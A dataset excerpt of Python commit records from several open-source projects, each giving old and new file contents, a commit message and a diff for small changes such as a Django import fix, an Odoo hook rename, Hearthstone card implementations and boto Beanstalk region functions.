commit stringlengths 40 40 | old_file stringlengths 4 150 | new_file stringlengths 4 150 | old_contents stringlengths 0 3.26k | new_contents stringlengths 1 4.43k | subject stringlengths 15 501 | message stringlengths 15 4.06k | lang stringclasses 4 values | license stringclasses 13 values | repos stringlengths 5 91.5k | diff stringlengths 0 4.35k |
|---|---|---|---|---|---|---|---|---|---|---|
eef1d6f2c19be042ae3e2e566eb4e0a7b7e71242 | _lib/wordpress_post_processor.py | _lib/wordpress_post_processor.py | import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content)
current_page += 1
max_page = results['pages']
for p in results['posts']:
yield p
def documents(name, url, **kwargs):
for post in posts_at_url(url):
yield process_post(post)
def process_post(post):
del post['comments']
# del post['content']
post['_id'] = post['slug']
# remove fields we're not interested in
post['category'] = [cat['title'] for cat in post['taxonomy_fj_category']]
post['tags'] = [tag['title'] for tag in post['taxonomy_fj_tag']]
author_template = Template("$first_name $last_name")
post['author'] = [author['title'] for author in post['taxonomy_author']]
dt = dateutil.parser.parse(post['date'])
dt_string = dt.strftime('%Y-%m-%dT%H:%M:%SZ')
post['date'] = dt_string
return post
| import sys
import json
import requests
from string import Template
import dateutil.parser
def posts_at_url(url):
current_page = 1
max_page = sys.maxint
while current_page <= max_page:
resp = requests.get(url, params={'json':1,'page':current_page})
results = json.loads(resp.content)
current_page += 1
max_page = results['pages']
for p in results['posts']:
yield p
def documents(name, url, **kwargs):
for post in posts_at_url(url):
yield process_post(post)
def process_post(post):
del post['comments']
post['_id'] = post['slug']
# remove fields we're not interested in
post['category'] = [cat['title'] for cat in post['taxonomy_fj_category']]
post['tags'] = [tag['title'] for tag in post['taxonomy_fj_tag']]
author_template = Template("$first_name $last_name")
post['author'] = [author['title'] for author in post['taxonomy_author']]
dt = dateutil.parser.parse(post['date'])
dt_string = dt.strftime('%Y-%m-%dT%H:%M:%SZ')
post['date'] = dt_string
return post
| Remove commented line we definitely will never need | Remove commented line we definitely will never need
| Python | cc0-1.0 | kurtw/cfgov-refresh,imuchnik/cfgov-refresh,imuchnik/cfgov-refresh,imuchnik/cfgov-refresh,kurtrwall/cfgov-refresh,kurtrwall/cfgov-refresh,imuchnik/cfgov-refresh,kurtrwall/cfgov-refresh,kurtw/cfgov-refresh,jimmynotjim/cfgov-refresh,kurtw/cfgov-refresh,jimmynotjim/cfgov-refresh,jimmynotjim/cfgov-refresh | ---
+++
@@ -28,7 +28,6 @@
def process_post(post):
del post['comments']
- # del post['content']
post['_id'] = post['slug']
# remove fields we're not interested in
post['category'] = [cat['title'] for cat in post['taxonomy_fj_category']] |
25e06c0f9bb44af3cdbda5e5d9632c85cb59f0df | mysite/mysite/settings_heroku.py | mysite/mysite/settings_heroku.py | from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
STATIC_ROOT = 'staticfiles'
STATIC_URL = '/static/'
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'),
)
# Simplified static file serving.
# https://warehouse.python.org/project/whitenoise/
STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'
| from .settings import *
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
#DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.7/howto/static-files/
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
STATIC_ROOT = 'staticfiles'
STATIC_URL = '/static/'
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'),
)
# Simplified static file serving.
# https://warehouse.python.org/project/whitenoise/
STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'
| Remove pooling suggestion from Heroku doco | Remove pooling suggestion from Heroku doco
| Python | bsd-2-clause | shearichard/polls17 | ---
+++
@@ -4,7 +4,7 @@
DATABASES['default'] = dj_database_url.config()
# Enable Connection Pooling
-DATABASES['default']['ENGINE'] = 'django_postgrespool'
+#DATABASES['default']['ENGINE'] = 'django_postgrespool'
# Static files (CSS, JavaScript, Images) |
5b702de914f55ee936292576394b2ea06ad15680 | tests/utils.py | tests/utils.py | from __future__ import unicode_literals
import contextlib
from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, **kwargs):
if self.view_name is None:
raise ValueError('Must give value for `view_name` property')
reverse_args = kwargs.pop('reverse_args', tuple())
reverse_kwargs = kwargs.pop('reverse_kwargs', dict())
query_string = kwargs.pop('query_string', None)
url = reverse(self.view_name, args=reverse_args, kwargs=reverse_kwargs)
if query_string is not None:
url = url + '?{0}'.format(query_string)
return getattr(self.client, action)(url, *args, **kwargs)
return wrapper_method
class APIViewTestCase(TestCase):
client_class = APIClient
def authenticate_with_token(self, type, token):
"""
Authenticates requests with the given token.
"""
self.client.credentials(HTTP_AUTHORIZATION='{} {}'.format(type, token))
view_name = None
view_post = client_action_wrapper('post')
view_get = client_action_wrapper('get')
@contextlib.contextmanager
def override_api_settings(**settings):
for k, v in settings.items():
setattr(api_settings, k, v)
yield
for k in settings.keys():
delattr(api_settings, k)
| from __future__ import unicode_literals
import contextlib
from django.test import TestCase
from rest_framework.test import APIClient
from rest_framework_simplejwt.compat import reverse
from rest_framework_simplejwt.settings import api_settings
def client_action_wrapper(action):
def wrapper_method(self, *args, **kwargs):
if self.view_name is None:
raise ValueError('Must give value for `view_name` property')
reverse_args = kwargs.pop('reverse_args', tuple())
reverse_kwargs = kwargs.pop('reverse_kwargs', dict())
query_string = kwargs.pop('query_string', None)
url = reverse(self.view_name, args=reverse_args, kwargs=reverse_kwargs)
if query_string is not None:
url = url + '?{0}'.format(query_string)
return getattr(self.client, action)(url, *args, **kwargs)
return wrapper_method
class APIViewTestCase(TestCase):
client_class = APIClient
def authenticate_with_token(self, type, token):
"""
Authenticates requests with the given token.
"""
self.client.credentials(HTTP_AUTHORIZATION='{} {}'.format(type, token))
view_name = None
view_post = client_action_wrapper('post')
view_get = client_action_wrapper('get')
@contextlib.contextmanager
def override_api_settings(**settings):
for k, v in settings.items():
setattr(api_settings, k, v)
yield
for k in settings.keys():
delattr(api_settings, k)
| Fix broken tests in django master | Fix broken tests in django master
| Python | mit | davesque/django-rest-framework-simplejwt,davesque/django-rest-framework-simplejwt | ---
+++
@@ -2,9 +2,9 @@
import contextlib
-from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
+from rest_framework_simplejwt.compat import reverse
from rest_framework_simplejwt.settings import api_settings
|
230664f9bbeae88ef640758d150bc5691af23e42 | tests/utils.py | tests/utils.py | from contextlib import contextmanager
from multiprocessing import Process
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
process.start()
with terminate_process(process):
yield
| from contextlib import contextmanager
from multiprocessing import Process
from time import sleep
@contextmanager
def terminate_process(process):
try:
yield
finally:
if process.is_alive():
process.terminate()
@contextmanager
def run_app(app):
process = Process(target=app.run)
process.start()
# give this a slight second to start
sleep(0.01)
with terminate_process(process):
yield
| Address issue where process might not fully start | Address issue where process might not fully start
I've tried less than 0.1 seconds and it doesn't routinely pass. This
appears to pass all the time.
| Python | apache-2.0 | tswicegood/steinie,tswicegood/steinie | ---
+++
@@ -1,5 +1,6 @@
from contextlib import contextmanager
from multiprocessing import Process
+from time import sleep
@contextmanager
@@ -16,5 +17,8 @@
process = Process(target=app.run)
process.start()
+ # give this a slight second to start
+ sleep(0.01)
+
with terminate_process(process):
yield |
9dd503c8d92518f9af4c599473626b98e56393e2 | typhon/tests/arts/test_arts.py | typhon/tests/arts/test_arts.py | # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestPlots:
"""Testing the plot functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system call.
Note: This test is only run, if ARTS is found in PATH.
"""
arts_out = arts.run_arts(help=True)
assert arts_out.retcode == 0
| # -*- coding: utf-8 -*-
"""Testing the functions in typhon.arts.
"""
import shutil
import pytest
from typhon import arts
class TestARTS:
"""Testing the ARTS utility functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system call.
Note: This test is only run, if ARTS is found in PATH.
"""
arts_out = arts.run_arts(help=True)
assert arts_out.retcode == 0
| Fix name and description of ARTS tests. | Fix name and description of ARTS tests. | Python | mit | atmtools/typhon,atmtools/typhon | ---
+++
@@ -8,8 +8,8 @@
from typhon import arts
-class TestPlots:
- """Testing the plot functions."""
+class TestARTS:
+ """Testing the ARTS utility functions."""
@pytest.mark.skipif(not shutil.which('arts'), reason='arts not in PATH')
def test_run_arts(self):
"""Test ARTS system call. |
d8a85c42079ceda2be4ec8283c4163812529bcef | debug_toolbar_user_panel/views.py | debug_toolbar_user_panel/views.py | from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
def content(request):
try:
current = []
for field in User._meta.fields:
if field.name == 'password':
continue
current.append(
(field.attname, getattr(request.user, field.attname))
)
return render_to_response('debug_toolbar_user_panel/content.html', {
'next': request.GET.get('next'),
'users': User.objects.order_by('-last_login')[:20],
'current': current,
}, context_instance=RequestContext(request))
except:
import traceback
traceback.print_exc()
raise
@require_POST
def login(request, pk):
user = get_object_or_404(User, pk=pk)
# Hacky
user.backend = settings.AUTHENTICATION_BACKENDS[0]
auth.login(request, user)
return HttpResponseRedirect(request.POST.get('next', '/'))
| from django.http import HttpResponseRedirect
from django.conf import settings
from django.contrib import auth
from django.template import RequestContext
from django.shortcuts import render_to_response, get_object_or_404
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST
def content(request):
current = []
for field in User._meta.fields:
if field.name == 'password':
continue
current.append(
(field.attname, getattr(request.user, field.attname))
)
return render_to_response('debug_toolbar_user_panel/content.html', {
'next': request.GET.get('next'),
'users': User.objects.order_by('-last_login')[:20],
'current': current,
}, context_instance=RequestContext(request))
@require_POST
def login(request, pk):
user = get_object_or_404(User, pk=pk)
# Hacky
user.backend = settings.AUTHENTICATION_BACKENDS[0]
auth.login(request, user)
return HttpResponseRedirect(request.POST.get('next', '/'))
| Remove horrible debug wrapper, oops. | Remove horrible debug wrapper, oops.
Signed-off-by: Chris Lamb <711c73f64afdce07b7e38039a96d2224209e9a6c@playfire.com>
| Python | bsd-3-clause | lamby/django-debug-toolbar-user-panel,playfire/django-debug-toolbar-user-panel,lamby/django-debug-toolbar-user-panel | ---
+++
@@ -7,25 +7,20 @@
from django.views.decorators.http import require_POST
def content(request):
- try:
- current = []
- for field in User._meta.fields:
- if field.name == 'password':
- continue
+ current = []
+ for field in User._meta.fields:
+ if field.name == 'password':
+ continue
- current.append(
- (field.attname, getattr(request.user, field.attname))
- )
+ current.append(
+ (field.attname, getattr(request.user, field.attname))
+ )
- return render_to_response('debug_toolbar_user_panel/content.html', {
- 'next': request.GET.get('next'),
- 'users': User.objects.order_by('-last_login')[:20],
- 'current': current,
- }, context_instance=RequestContext(request))
- except:
- import traceback
- traceback.print_exc()
- raise
+ return render_to_response('debug_toolbar_user_panel/content.html', {
+ 'next': request.GET.get('next'),
+ 'users': User.objects.order_by('-last_login')[:20],
+ 'current': current,
+ }, context_instance=RequestContext(request))
@require_POST
def login(request, pk): |
49a675beba6898a26650a1ce38940268ee32f010 | sale_isolated_quotation/hooks.py | sale_isolated_quotation/hooks.py | # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from openerp import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set is_order = true
where state not in ('draft', 'cancel')
""")
def uninstall_hook(cr, registry):
""" Restore sale.order action, remove context value """
with api.Environment.manage():
env = api.Environment(cr, SUPERUSER_ID, {})
for action_id in ['sale.action_quotations', 'sale.action_orders']:
action = env.ref(action_id)
ctx = ast.literal_eval(action.context)
del ctx['is_order']
dom = ast.literal_eval(action.domain)
dom = [x for x in dom if x[0] != 'is_order']
action.write({'context': ctx, 'domain': dom})
| # -*- coding: utf-8 -*-
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
from odoo import api, SUPERUSER_ID
def post_init_hook(cr, registry):
""" Set value for is_order on old records """
cr.execute("""
update sale_order
set is_order = true
where state not in ('draft', 'cancel')
""")
def uninstall_hook(cr, registry):
""" Restore sale.order action, remove context value """
with api.Environment.manage():
env = api.Environment(cr, SUPERUSER_ID, {})
for action_id in ['sale.action_quotations', 'sale.action_orders']:
action = env.ref(action_id)
ctx = ast.literal_eval(action.context)
del ctx['is_order']
dom = ast.literal_eval(action.domain)
dom = [x for x in dom if x[0] != 'is_order']
action.write({'context': ctx, 'domain': dom})
| Change openerp --> odoo in hook.py | Change openerp --> odoo in hook.py
| Python | agpl-3.0 | kittiu/sale-workflow,kittiu/sale-workflow | ---
+++
@@ -2,7 +2,7 @@
# © 2017 Ecosoft (ecosoft.co.th).
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).
import ast
-from openerp import api, SUPERUSER_ID
+from odoo import api, SUPERUSER_ID
def post_init_hook(cr, registry): |
1a6fa386de1c65edfdef695119b69dc124ac27fe | admin/common_auth/forms.py | admin/common_auth/forms.py | from __future__ import absolute_import
from django import forms
from django.db.models import Q
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
label=u'Password',
widget=forms.PasswordInput(render_value=False),
required=True
)
class UserRegistrationForm(forms.Form):
""" A form that finds an existing OSF User, and grants permissions to that
user so that they can use the admin app"""
osf_id = forms.CharField(required=True, max_length=5, min_length=5)
group_perms = forms.ModelMultipleChoiceField(
queryset=Group.objects.filter(Q(name='prereg_group') | Q(name='osf_admin')),
required=False
)
class DeskUserForm(forms.ModelForm):
class Meta:
model = AdminProfile
fields = ['desk_token', 'desk_token_secret']
| from __future__ import absolute_import
from django import forms
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
class LoginForm(forms.Form):
email = forms.CharField(label=u'Email', required=True)
password = forms.CharField(
label=u'Password',
widget=forms.PasswordInput(render_value=False),
required=True
)
class UserRegistrationForm(forms.Form):
""" A form that finds an existing OSF User, and grants permissions to that
user so that they can use the admin app"""
osf_id = forms.CharField(required=True, max_length=5, min_length=5)
group_perms = forms.ModelMultipleChoiceField(
queryset=Group.objects.all(),
required=False
)
class DeskUserForm(forms.ModelForm):
class Meta:
model = AdminProfile
fields = ['desk_token', 'desk_token_secret']
| Update common auth user registration form to show all potential Groups | Update common auth user registration form to show all potential Groups
| Python | apache-2.0 | erinspace/osf.io,HalcyonChimera/osf.io,aaxelb/osf.io,CenterForOpenScience/osf.io,pattisdr/osf.io,cslzchen/osf.io,brianjgeiger/osf.io,acshi/osf.io,HalcyonChimera/osf.io,brianjgeiger/osf.io,saradbowman/osf.io,Johnetordoff/osf.io,erinspace/osf.io,mfraezz/osf.io,felliott/osf.io,caseyrollins/osf.io,monikagrabowska/osf.io,hmoco/osf.io,sloria/osf.io,pattisdr/osf.io,felliott/osf.io,chennan47/osf.io,mattclark/osf.io,cslzchen/osf.io,acshi/osf.io,CenterForOpenScience/osf.io,adlius/osf.io,crcresearch/osf.io,Johnetordoff/osf.io,sloria/osf.io,caneruguz/osf.io,cslzchen/osf.io,binoculars/osf.io,CenterForOpenScience/osf.io,binoculars/osf.io,laurenrevere/osf.io,caneruguz/osf.io,hmoco/osf.io,crcresearch/osf.io,Johnetordoff/osf.io,HalcyonChimera/osf.io,acshi/osf.io,acshi/osf.io,chrisseto/osf.io,hmoco/osf.io,HalcyonChimera/osf.io,cwisecarver/osf.io,TomBaxter/osf.io,leb2dg/osf.io,CenterForOpenScience/osf.io,icereval/osf.io,aaxelb/osf.io,adlius/osf.io,caneruguz/osf.io,mfraezz/osf.io,hmoco/osf.io,baylee-d/osf.io,Nesiehr/osf.io,acshi/osf.io,aaxelb/osf.io,crcresearch/osf.io,icereval/osf.io,TomBaxter/osf.io,Johnetordoff/osf.io,Nesiehr/osf.io,monikagrabowska/osf.io,chennan47/osf.io,TomBaxter/osf.io,mattclark/osf.io,icereval/osf.io,cwisecarver/osf.io,chrisseto/osf.io,Nesiehr/osf.io,brianjgeiger/osf.io,caneruguz/osf.io,pattisdr/osf.io,saradbowman/osf.io,adlius/osf.io,aaxelb/osf.io,caseyrollins/osf.io,monikagrabowska/osf.io,baylee-d/osf.io,mfraezz/osf.io,caseyrollins/osf.io,laurenrevere/osf.io,erinspace/osf.io,felliott/osf.io,cwisecarver/osf.io,binoculars/osf.io,adlius/osf.io,cwisecarver/osf.io,mfraezz/osf.io,baylee-d/osf.io,felliott/osf.io,Nesiehr/osf.io,brianjgeiger/osf.io,leb2dg/osf.io,sloria/osf.io,monikagrabowska/osf.io,leb2dg/osf.io,chrisseto/osf.io,chennan47/osf.io,cslzchen/osf.io,monikagrabowska/osf.io,chrisseto/osf.io,mattclark/osf.io,leb2dg/osf.io,laurenrevere/osf.io | ---
+++
@@ -1,7 +1,6 @@
from __future__ import absolute_import
from django import forms
-from django.db.models import Q
from django.contrib.auth.models import Group
from admin.common_auth.models import AdminProfile
@@ -23,7 +22,7 @@
osf_id = forms.CharField(required=True, max_length=5, min_length=5)
group_perms = forms.ModelMultipleChoiceField(
- queryset=Group.objects.filter(Q(name='prereg_group') | Q(name='osf_admin')),
+ queryset=Group.objects.all(),
required=False
)
|
4d3753b7bd4ec37b7b8fde4eeab627bf96f8d12f | dduplicated/cli.py | dduplicated/cli.py | # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def getPaths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
return paths
def main():
params = argv
# Remove the command name
del params[0]
if len(params) == 0 or "help" in params:
commands.help()
elif "detect" in params:
duplicates = commands.detect(getPaths(params))
if len(duplicates) < 1:
print("No duplicates found")
print("Great! Bye!")
exit(0)
for (key, values) in duplicates.items():
print(key + " -> ")
for value in values:
print("\t\t\t\t\t" + value)
elif "delete" in params:
commands.delete(commands.detect(getPaths(params)))
elif "link" in params:
commands.link(commands.detect(getPaths(params)))
else:
commands.help()
exit(0)
| # The client of DDuplicated tool.
from os import path as opath, getcwd
from sys import argv
from dduplicated import commands
def get_paths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
if opath.exists(path) and opath.isdir(path) and not opath.islink(path):
paths.append(path)
return paths
def main():
params = argv
processed_files = []
# Remove the command name
del params[0]
if len(params) == 0 or "help" in params:
commands.help()
elif "detect" in params:
processed_files = commands.detect(get_paths(params))
elif "delete" in params:
processed_files = commands.delete(commands.detect(get_paths(params)))
elif "link" in params:
processed_files = commands.link(commands.detect(get_paths(params)))
else:
commands.help()
if len(processed_files) > 0:
print(processed_files)
else:
print("No duplicates found")
print("Great! Bye!")
exit(0)
| Update in outputs and fix spaces and names. | Update in outputs and fix spaces and names.
Signed-off-by: messiasthi <8562fc1efba9a3c99753c749fdfb1b6932b70fbf@gmail.com>
| Python | mit | messiasthi/dduplicated-cli | ---
+++
@@ -4,7 +4,7 @@
from dduplicated import commands
-def getPaths(params):
+def get_paths(params):
paths = []
for param in params:
path = opath.join(getcwd(), param)
@@ -13,30 +13,31 @@
return paths
+
def main():
params = argv
-
+ processed_files = []
# Remove the command name
del params[0]
if len(params) == 0 or "help" in params:
commands.help()
elif "detect" in params:
- duplicates = commands.detect(getPaths(params))
- if len(duplicates) < 1:
- print("No duplicates found")
- print("Great! Bye!")
- exit(0)
-
- for (key, values) in duplicates.items():
- print(key + " -> ")
- for value in values:
- print("\t\t\t\t\t" + value)
+ processed_files = commands.detect(get_paths(params))
elif "delete" in params:
- commands.delete(commands.detect(getPaths(params)))
+ processed_files = commands.delete(commands.detect(get_paths(params)))
+
elif "link" in params:
- commands.link(commands.detect(getPaths(params)))
+ processed_files = commands.link(commands.detect(get_paths(params)))
+
else:
commands.help()
+
+ if len(processed_files) > 0:
+ print(processed_files)
+ else:
+ print("No duplicates found")
+ print("Great! Bye!")
+
exit(0) |
469fdc0dfc756e68231eebd5ce40eb33e0fdd2f2 | fireplace/cards/gvg/rogue.py | fireplace/cards/gvg/rogue.py | from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
##
# Spells
# Tinker's Sharpsword Oil
class GVG_022:
action = buffWeapon("GVG_022a")
def action(self):
if self.controller.weapon:
self.buff(self.controller.weapon, "GVG_022a")
if self.controller.field:
self.buff(random.choice(self.controller.field), "GVG_022b")
##
# Weapons
# Cogmaster's Wrench
class GVG_024:
def atk(self, i):
if self.controller.field.filter(race=Race.MECHANICAL):
return i + 2
return i
| from ..utils import *
##
# Minions
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
# One-eyed Cheat
class GVG_025:
def OWN_MINION_SUMMON(self, player, minion):
if minion.race == Race.PIRATE and minion != self:
self.stealth = True
# Iron Sensei
class GVG_027:
def OWN_TURN_END(self):
mechs = self.controller.field.filter(race=Race.MECHANICAL).exclude(self)
if mechs:
self.buff(random.choice(mechs), "GVG_027e")
# Trade Prince Gallywix
class GVG_028:
def CARD_PLAYED(self, player, card):
if player is not self.controller and card.type == CardType.SPELL:
if card.id != "GVG_028t":
player.opponent.give(card.id)
player.give("GVG_028t")
class GVG_028t:
def action(self):
self.controller.tempMana += 1
##
# Spells
# Tinker's Sharpsword Oil
class GVG_022:
action = buffWeapon("GVG_022a")
def action(self):
if self.controller.weapon:
self.buff(self.controller.weapon, "GVG_022a")
if self.controller.field:
self.buff(random.choice(self.controller.field), "GVG_022b")
##
# Weapons
# Cogmaster's Wrench
class GVG_024:
def atk(self, i):
if self.controller.field.filter(race=Race.MECHANICAL):
return i + 2
return i
| Implement One-eyed Cheat, Iron Sensei and Trade Prince Gallywix | Implement One-eyed Cheat, Iron Sensei and Trade Prince Gallywix
| Python | agpl-3.0 | beheh/fireplace,oftc-ftw/fireplace,Meerkov/fireplace,NightKev/fireplace,smallnamespace/fireplace,jleclanche/fireplace,butozerca/fireplace,liujimj/fireplace,Ragowit/fireplace,liujimj/fireplace,smallnamespace/fireplace,amw2104/fireplace,amw2104/fireplace,Meerkov/fireplace,oftc-ftw/fireplace,butozerca/fireplace,Ragowit/fireplace | ---
+++
@@ -7,6 +7,34 @@
# Goblin Auto-Barber
class GVG_023:
action = buffWeapon("GVG_023a")
+
+
+# One-eyed Cheat
+class GVG_025:
+ def OWN_MINION_SUMMON(self, player, minion):
+ if minion.race == Race.PIRATE and minion != self:
+ self.stealth = True
+
+
+# Iron Sensei
+class GVG_027:
+ def OWN_TURN_END(self):
+ mechs = self.controller.field.filter(race=Race.MECHANICAL).exclude(self)
+ if mechs:
+ self.buff(random.choice(mechs), "GVG_027e")
+
+
+# Trade Prince Gallywix
+class GVG_028:
+ def CARD_PLAYED(self, player, card):
+ if player is not self.controller and card.type == CardType.SPELL:
+ if card.id != "GVG_028t":
+ player.opponent.give(card.id)
+ player.give("GVG_028t")
+
+class GVG_028t:
+ def action(self):
+ self.controller.tempMana += 1
## |
09618bd6cdef2025ea02a999a869c9c6a0560989 | mockserver/manager.py | mockserver/manager.py | from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manager.command
def dump(bak_file):
print('Dump %s start' % bak_file)
all_interfaces = database.Interface.query.all()
if len(all_interfaces) == 0:
print('Not found any data to dump.')
return
all_data = []
for interface in all_interfaces:
all_data.append(interface.to_dict())
f = codecs.open(bak_file, 'w', 'utf-8')
f.write(json.dumps(all_data, ensure_ascii=False, indent=4))
f.close()
print('Dump completed')
@manager.command
def load(bak_file):
print('Load %s start' % bak_file)
f = codecs.open(bak_file, 'r')
all_data = json.loads(f.read())
f.close()
for data in all_data:
interface = database.Interface.from_dict(data)
if len(database.Interface.query.filter_by(name=interface.name).all()) > 0:
interface.name = '[Dup.]' + interface.name
database.db.session.add(interface)
database.db.session.commit()
| from flask_script import Manager
import mockserver
from mockserver.database import database
import json
import codecs
import os
manager = Manager(mockserver.get_app())
@manager.command
def init():
if os.path.exists(mockserver.db_file):
os.remove(mockserver.db_file)
database.db.create_all()
@manager.command
def dump(bak_file):
print('Dump %s start' % bak_file)
all_interfaces = database.Interface.query.all()
if len(all_interfaces) == 0:
print('Not found any data to dump.')
return
all_data = []
for interface in all_interfaces:
all_data.append(interface.to_dict())
f = codecs.open(bak_file, 'w', 'utf-8')
f.write(json.dumps(all_data, ensure_ascii=False, indent=4))
f.close()
print('Dump completed')
@manager.command
def load(bak_file):
print('Load %s start' % bak_file)
f = codecs.open(bak_file, 'r', 'utf-8')
all_data = json.loads(f.read())
f.close()
for data in all_data:
interface = database.Interface.from_dict(data)
if len(database.Interface.query.filter_by(name=interface.name).all()) > 0:
interface.name = '[Dup.]' + interface.name
database.db.session.add(interface)
database.db.session.commit()
print('Load completed')
| Fix bug: file encoding is GBK on windows system. | Fix bug: file encoding is GBK on windows system.
| Python | apache-2.0 | IfengAutomation/mockserver,IfengAutomation/mockserver,IfengAutomation/mockserver | ---
+++
@@ -36,7 +36,7 @@
@manager.command
def load(bak_file):
print('Load %s start' % bak_file)
- f = codecs.open(bak_file, 'r')
+ f = codecs.open(bak_file, 'r', 'utf-8')
all_data = json.loads(f.read())
f.close()
for data in all_data:
@@ -45,3 +45,4 @@
interface.name = '[Dup.]' + interface.name
database.db.session.add(interface)
database.db.session.commit()
+ print('Load completed') |
b7d16c4ae05d180327ae0b2ed020d64f91edf29e | boto/beanstalk/__init__.py | boto/beanstalk/__init__.py | # Copyright (c) 2013 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish, dis-
# tribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the fol-
# lowing conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL-
# ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
# SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
#
from boto.regioninfo import RegionInfo
def regions():
"""
Get all available regions for the AWS Elastic Beanstalk service.
:rtype: list
:return: A list of :class:`boto.regioninfo.RegionInfo`
"""
import boto.beanstalk.layer1
return [RegionInfo(name='us-east-1',
endpoint='elasticbeanstalk.us-east-1.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
RegionInfo(name='us-west-1',
endpoint='elasticbeanstalk.us-west-1.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
RegionInfo(name='us-west-2',
endpoint='elasticbeanstalk.us-west-2.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
RegionInfo(name='ap-northeast-1',
endpoint='elasticbeanstalk.ap-northeast-1.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
RegionInfo(name='ap-southeast-1',
endpoint='elasticbeanstalk.ap-southeast-1.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
RegionInfo(name='ap-southeast-2',
endpoint='elasticbeanstalk.ap-southeast-2.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
RegionInfo(name='eu-west-1',
endpoint='elasticbeanstalk.eu-west-1.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
RegionInfo(name='sa-east-1',
endpoint='elasticbeanstalk.sa-east-1.amazonaws.com',
connection_cls=boto.beanstalk.layer1.Layer1),
]
def connect_to_region(region_name, **kw_params):
for region in regions():
if region.name == region_name:
return region.connect(**kw_params)
return None
| Add connect_to_region/region functions for beanstalk | Add connect_to_region/region functions for beanstalk
